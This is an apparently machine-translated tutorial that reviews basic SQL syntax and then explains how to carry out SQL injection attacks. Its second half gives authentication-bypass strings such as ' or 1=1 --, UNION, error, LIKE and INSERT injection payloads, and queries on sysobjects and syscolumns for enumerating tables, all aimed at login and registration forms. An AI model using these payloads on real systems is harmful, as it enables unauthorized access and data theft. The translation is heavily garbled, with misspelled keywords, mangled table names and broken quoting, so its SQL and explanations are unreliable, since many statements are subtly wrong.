Chengkefeng
The foundation SQL language is very important for each person engaged in SQL development, and SQL injection is a vulnerability or attack method derived from SQL applications. On the basis of reviewing the foundation SQL language, this paper introduces SQL injection and how to use the SQL injection method for cyber attacks.
The application and popularity of the network produces a lot of data information, which are more in the database. The communication with database is primarily through the SQL language, but the fuzzy to its unfamiliarity limits the developmenters' work efficiency, more seriously, which may lead to the system's crisis. SQL is easy to use, widely used, and mainstream relationship databases support SQL execution. It is precisely because SQL's convenience and application have caused a huge impact on SQL injection. Any place that allows manual input SQL statements, there is a risk of SQL injection. Therefore, deep understanding of SQL and SQL injection, mastering the implementation principle and method of SQL injection is extremely important.
First, SQL Overview
SQL (STRUCTURED Query Language) is a structured query language. Its features are not only queries, specifically, it is a universal, functional relational database language. The following 9 keywords with the core function in the SQL language: SELECT, CREAT, DROP, ALTER (Data Definition), INSERT, UPDATE, DELETE, GRANT, RELOKE (Data Control).
1, data definition part
(1) Create a basic table:
Creat Table Employee (ENO Char (6) Not Null Unique,
ENAME CHAR (20) UNIQUE,
Esex char (2),
EAGE INT,
Edept char (10),
ESPE Char (20));
This statement creates a data sheet named Employee, which has six columns, which are character types (length 6, non-empty, unique) employee number ENO, character type (length 20, unique) employee name ename, Employees of employee, integer (length 2) employee, characteristic (length 10) employee specialty.
(2) Delete the basic table:
Drop Table Employee;
Delete the table Employee, the data is also deleted, once the success is not reversible, so it is necessary to pay special attention to the use of this statement, it is best to use transaction, pre-backup and confirmation reminder.
(3) Change the basic table:
Alter Table Employee Add Esalary Char (5);
Add a column, the character type (length 5) is salaries
Alter Table Employee Drop UNIQUE (ENAME);
Remove the unique property of employee name column in the employee table
Alter Table Employee Modify Esex Char (1);
Change the gender column in the employee table to a character pattern.
2, data query part
The data query part is the most flexible, functional part of the SQL statement. The skill of the query statement is skilled and the optimization capability of the query structure is best reflecting the basic skills of SQL programmers. Therefore, this part must be given sufficient attention. Since the details are as follows: (1) Basic query statements:
SELECT ENO, ENAME, ESEX from Employee
Query the Employee table in the EMPLOYEE table three columns
SELECT * from Employee;
Query all columns in the Employee table
Select Distinct Eno from Employee;
Query the Employee table in the EMPLOYEE table and remove the repeated line
(2) Condition (WHERE) query statement:
The connection conditions of the query condition are as follows NOT, =,>, <,> =, <=,! =, <>,!>,! <(Comparison); betWeen and NOTBETWEEN AND (OK); in, not in (Determined collection); Like, Not Like; is null, is not null; and, or (multi-condition connection)
1) Comparison
Select Eno from Employee WHERE EAGE <= 25;
List employee's employee number less than 25 employees
2) Determine the scope
Select ENO, ENAME FROM EMPLOYEEEEEEE
WHERE EAGE [NOT] BETWEEN 20 and 30;
List the age (not) of the employee table and the employee number and name of 20 to 30
3) Determine the collection
Select ENO, ENAME FROM EMPLOYEEEEEEE
WHERE EDEPT [NOT] IN ('SD', 'HD');
List the employee table (not) is the employee number and name of the hardware and software development department
4) Character match
The use of Like is as follows:
[NOT] Like '
Wild symbols have% and _ two:
%: Matching the string of any length (length can be 0). A% B can match AB, ADFB, etc.
_: Match a single arbitrary character. A_B can match A # B, A @ b.
If there is escape, follow the% or _ no longer a wild symbol after the symbol, just normal or _.
E.g:
Select * from Employee Where ename Like 'Liu%;
Find information about Liu employees in the employee table
SELECT * from Employee Where Ename Like 'Liu _ _'
Find information on employees named Liu (two words) in the employee table (Chinese characters account for 2 characters)
Select * from Employee Where Espe Like 'DB / _% T_'escape' / ';
Find the Employees of the Employee Table for DB_, the second character is the employee information of T
5) null value
Select * from Employee WHERE ESPE IS [NOT] NULL; Find Employee Information for Employee Table (not)
6) Multi-condition connection
Select Ename from Employee WHERE EDEPT = 'SD'AND EAGE <= 30;
List the names of employees under the age of 30 in the employee table
(3) Result Sort
Sorting the results of the query Use the Order By, ASC (default) is ascending, DESC is descending.
Select * from Employee Order by EdEpt, Eage DESC;
Several all employees ascended in sequence, age descending order (default is ascending)
(4) Result group
The grouping of query results generally uses the SQL set function, so introducing the set function of SQL first.
The set function in the SQL language mainly has a count (total statistics), sum (summary), AVG (evaluation), MAX (maximum), min (minimum).
E.g:
SELECT MAX (EAGE) from Employee WHERE EDEPT = 'SD';
List the names of the largest employees of the Software Development Department
Select Edept from Employee Group by EdEpt Having Count (*)> 10;
Counting the number of employees in various departments, only the number of employees is greater than 10
Select Edept (ENO) from Employee Group by EdEpt;
Statify the number of employees in various departments, and list the number of employees in various departments according to the department group.
(5) Connection inquiry
The connection query refers to the query involves a plurality of data tables, and the situation is connected to multiple tables after the FROM. If we want to count the employee number and name of each project, the structure involved EPROJECT (Employee Participation Project) is as follows:
Eproject (ENO Char (6), PNO Char (6), Timebgn Time,
TimeEnd Time, Remark Char (50));
The corresponding query statement is:
Select Eproject.pno, Employee.eno, ENAME,
From Employee, EPROJECT
WHERE EMPLOYE.ENO = EPROJECT.ENO
ORDER by Eproject.PnO;
List the employees and names of each item, and arrange them in ascending the project number.
(6) Collective query
The collection query refers to a collection operation between multiple SELECT query results, mainly Union (and operation), INTERSECT, Minus (poor operation). There is no hypotransmission and poor operation in standard SQL, but they can be implemented using joint queries. If we want to find an employee aged less than 25 years old, we can use the collection query:
SELECT * from Employee WHERE EDEPT = 'HD'
Union Select * from Employee WHERE EAGE <= 25;
3, data update part
The data update statement in SQL has three kinds of INSERT, UPDATE, and DELETE, and the usage is as follows: (1) Insert data
INSERT INTO EMPLOYEE
Values ('13253', 'King 2', 'Men', 23, 'SD', 'DB_Project');
Insert a complete data to the employee table
INSERT INTO Employee (ENO, ENAME)
VALUES ('13253', 'King 2');
Insert a data to the employee table, only the employee number and name, other listed as null values
Note: The above situation, the attribute is not empty, must not be empty.
(2) Modify data
Update Employee Set Eage = 24 Where ENO = '13253';
Change the employee 13253 employee to 24 years old
(3) Delete data
Delete from Employee Where ENO = '13253';
Delete employee information 13253 in employee
4, data control section
(1) User authorization
SQL users authorize using Grant keywords, which are as follows:
Grant SELECT On Table Employee to USR1;
Allow users USR1 query table EMPLOYEE
Grant All Privileges on Table Employee To USR2;
Allow users USR2 to any operation of Table EMPLOYEE (query, insert, update, delete data)
(2) Reclaim rights
User permissions are recovered in SQL Use the revoke keyword, and it is as follows:
Revoke Update (ENO) on Table Employee from USR3;
Recover the user USR3 to update the power of the EMPLOYEE in Employee
Revoke INSERT on Table Employee from public;
Do not allow all users to add data in Table Employee
Second, SQL Injection (SQL INJECTION)
Since SQL Injection has been found, people have found a large number of experiments that it exists in any place that allows the SQL statement. Simply put, SQL Injection is a vulnerability derived from SQL, or it can be an attack method. It utilizes that the user input data is insufficient or the program is improperly handled, and the SQL statement you want to execute Insert to the actual SQL statement to send to the server to execute, the consequences can cause sensitive information leakage, and the whole server is controlled.
For example, an SQL statement of a login system (ASP SQLSERVER) input account and password is:
Select * from member where uid = '"& request (" id ") &"
And passwd = '"& requirements" ""
If the normal user's account user1, password abcdefg12345, then the SQL statement at this time is:
Select * from member where uid = 'USER1' AND passwd = 'abcdefg12345';
Examples of three SQL INJECTION here are briefly explained in the principle of this vulnerability:
1, account input user1 '-, password arbitrary (such as AAA), the SQL statement at this time becomes:
SELECT * from mail where uid = 'user1' - 'and passwd =' aaa 'Due to the subsequent statement is ignored, the AND sentence is lost as an explanation, and the user USER1 can log in to the system with any password. If the login user is the system administrator privilege, the consequences are unimaginable.
2, account input 'or 1 = 1 -, password arbitrary (such as AAA), the SQL statement at this time becomes:
Select * from member where uid = 'or 1 = 1 -' and passwd = 'aaa'
Since the AND sentence is lost as an explanation, the WHERE word is returned to true, and this SQL statement has lost the differential role.
3, the account input arbitrary (such as UUU), the password is AAA (arbitrary) 'OR 1 = 1 - the SQL statement at this time becomes:
Select * from member where uid = 'uu'and passwd =' aaa'or 1 = 1 -
Since the following statement is ignored, the WHERE word is returned to true, the SQL statement lost the authentication.
Third, SQL injection overview
From the initial "1 = 1" SQL injection, to the current SQLServer stored procedure and extended stored procedure injection, SQL injection has been found to date. In general, its classification can be conducted from the SQL language itself, which can be divided into authorized bypass, SELECT type, INSERT type, other type (such as a SQLServer stored procedure). As mentioned earlier, the data query portion in the SQL language is the most flexible, functional part of the SQL statement. Therefore, the part of the SQL injection is also a wide variety, mainly basic SELECT type, basic collection (Union) ), Grammatical error type, matching (LIKE) type, - end type, etc. It is now described below for various SQL injection:
1. Authorized bypass type
This type of SQL injection is the easiest and most prone to understand, which mainly exists in the table format login system. In addition to the few specified in the introduction, there is a more direct SQL injection, the login account and password are "= ', and the SQL statement becomes
Select * from member where uid = '' or '' = '' and passwd = '' ore '' = ''
Obviously, the SQL statement has lost the authentication function.
2, SELECT SQL injection
(1) Basic SELECT type
Basic SELECT SQL injection is divided into direct type and reference. Direct SQL injection refers to the data submitted by the user is directly used in the SQL query. If you add a space and OR after a legal input value, the system returns an error, then there may be a direct SQL injection. The location of the direct value may exist in the WHERE clause, such as:
Sqlstring = "SELECT * home where uid =" & intuid
Or exist in a SQL keyword, such as a table name or column name:
Sqlstring = "SELECT * from member order by" & strcolumn
The referenced SQL injection refers to the data submitted by the user is submitted in quotes. Such as:
Sqlstring = "SELECT * from mail where uid = '" & struct "At this point, the part to be injected should start with single quotes, match the previous single quotes, and add single quotes after the WHERE clause, after Single quotes match.
(2) Basic Collection (UNION)
Basic Collective SQL Injection is an union Select statement in the WHERE clause to achieve the purpose of performing the injection portion. For example, the target SQL statement is:
Sqlstring = "SELECT NAME, SEX, TIM MEMBER WHERE UID = '" & strcolumn & "'"
The injection string used is as follows:
'Union select Otherfield from OtHERTABLE WHERE' '' = '
In this way, the submitted query statement is:
Select Name, SEX, TIM MEMBER WHERE UID = ''
Union Select Otherfield from OtHERTABLE WHERE '' = ''
The result is the following: The database first retrieves the MEMBER table to find the UID line, because there is no UID that is empty, there is no record. The returned record exists in the injecting portion. Sometimes use null value will not work, probably the null value in the table is used or used to implement other functions. In this case, your only thing to do is constructing a string that never appears in the table, as long as it allows the Union Select not returns a record.
(3) Syntax error
For some databases, the returned error message contains a part of the syntax error, so a lot of valuable information can be obtained by manufacturing a syntax error (error injection).
The constructed error string is: ', error value', 'error value,' or ',' or, etche, etc.
(4) Parentheses
If the returned error contains parentheses, or the error is lost, the parentheses are lost, then add parentheses in the error value and the WHERE clause part. For example, the target SQL statement is
SQLSTR = "SELECT NAME, SEX, TIM MEMBER WHERE (UID = '" & strid & ")"
The injection string used is to becomes:
') Union Select Otherfield from OtHERTABLE WHERE (' '='
In this way, the submitted query statement is:
Select Name, SEX, TIM MEMBER WHERE (UID = ')
Union Select Otherfield from OtHERTABLE WHERE ('' = '')
Since there is no line of the UID, the first portion does not return records, and the returned record exists in the injecting portion.
(5) LIKE type
The LIKE type SQL injection is also very common. If the error contains%, _ or Like et al. Indicating that the system has a LIKE type injection vulnerability, the data submitted by the user will be sent to the Like clause. For example, the target SQL statement is SQLSTR = "SELECT NAME, SEX, TIM MEMBER WHERE NAME LIKE '%" & strcolumn & "%'"
The injection string used is:
'Union select Otherfield from OtHERTABLE WHERE'% 37 '='
Get the submitted query statement is:
Select Name, SEX, TIM MEMBER Where Name Like '%'
Union Select Otherfield from OtHERTABLE WHERE '%' = '%'
Obviously, the first part returns all records of table Member, the second part is the record you want to get, and finally get the record of the user you want.
(6) Error end
Sometimes, when you try a lot of injection methods, it is still wrong. This shows that the target SQL statement may not be as simple as the guess, it may have complex situations such as subqueries or connection queries. At this time, for SQLServer, since "" ", the statement will be ignored, so on the end of the injected SQL statement, plus" ;; - ".
(7) Connection inquiry
If the target SQL statement is
SQLSTR = "SELECT NAME, SEX, TIM MEMBER
Where uid = '"& strid &"' and sex = 'female' "
If the injection string used is:
'Union select Otherfield from OtHERTABLE WHERE' '' = '
In this way, the submitted query statement is:
Select Name, SEX, TIM MEMBER WHERE UID = ''
Union Select Otherfield from OtHERTABLE WHERE '' = '' and sex = 'female'
Since there is not necessarily named SEX in Othertable, an error of "Invalid Column Name SEX" may be returned. For SQLServer, you have list names in the library in the system table sysObjects, so use the select name from sysobjects where xtype = 'u' can return to all user-defined tables in the library.
In this case, the constructed SQL injection statement should be the following structure:
Select Name from syscolumns
WHERE ID = (Select ID from sysobjects where name = 'tablename ")
3, INSERT SQL Injection
Insert executes the functions of adding columns in the database, which is used in users registration, express remarks, online shopping, and many other places. Since it directly changes the data of the database, use the INSERT type injection than the SELECT type more dangerous. For attackers, if an error occurs using an Insert type, it is detected because a string quotation is generated in the database. So, use INSERT SQL injection to be extra careful. For example, the target SQL statement is (the registration item is name, gender, email)
SQLSTR = "Insert Into Tablename
VALUES ('"& strname &",' "& strsex &", '"& stremail &") "
Fill in the table below:
Name: ' Select Top 1 FieldName from Tablename '
Gender: Male
Mailbox: aaa@yahoo.com
In this way, the submitted SQL statement is:
INSERT INTO TABLENAME VALUES
('' Select Top 1 FieldName from Tablename ',' Male ',' Aaa@yahoo.com ')
In the returned registration information, you can find the value of the FieldName in Table TableName.
Since the design idea of SQL language is to use flexible, a variety of SQL injection methods will end out. But in general, as long as the SQL language is enough, it is at least the first step in safety, at least.
